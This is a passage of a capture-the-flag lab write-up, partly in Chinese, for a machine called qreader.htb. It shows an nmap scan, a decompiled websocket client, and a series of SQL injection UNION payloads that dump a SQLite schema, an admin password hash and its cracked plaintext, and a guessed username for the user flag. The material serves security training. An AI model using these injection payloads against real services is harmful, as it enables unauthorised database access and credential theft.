$ nmap -sC -sV -Pn 10.10.11.206 Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-27 14:06 CST Nmap scan report for 10.10.11.206 Host is up (0.10s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA) |_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://qreader.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 49.47 seconds
... ws_host = 'ws://ws.qreader.htb:5789' ... defversion(self): response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({ 'version': VERSION }))) data = json.loads(response) if'error'notin data.keys(): version_info = data['message'] msg = f'''[INFO] You have version {version_info['version']} which was released on {version_info['released_date']}''' self.statusBar().showMessage(msg) returnNone error = None['error'] self.statusBar().showMessage(error) ...
{"version":"0.0.3\" UNION SELECT 1,2,3,4-- -"} {"version":"0.0.3\" UNION SELECT sqlite_version(),2,3,4-- -"} {"version":"0.0.3\" UNION SELECT group_concat(name),2,3,4 from sqlite_schema-- -"}
{"version":"0.0.3\" UNION SELECT sql,2,3,4 from sqlite_master WHERE type!=\"meta\" AND sql NOT NULL AND name =\"users\"-- -"} {"message": {"id": "admin", "version": "0c090c365fa0559b151a43e0fea39710", "released_date": 3, "downloads": 4}}
# 获取管理员的用户名 {"version":"0.0.3\" UNION SELECT group_concat(answered_by),group_concat(answer),3,4 from answers-- -"} Thomas Keller
user flag
这里也有小坑,密码就是前面得到的hash破解出明文,用户名需要根据全名以及命名规则简单的猜一下:
1 2 3 4
Thomas Keller -> tkeller 0c090c365fa0559b151a43e0fea39710 -> denjanjade122566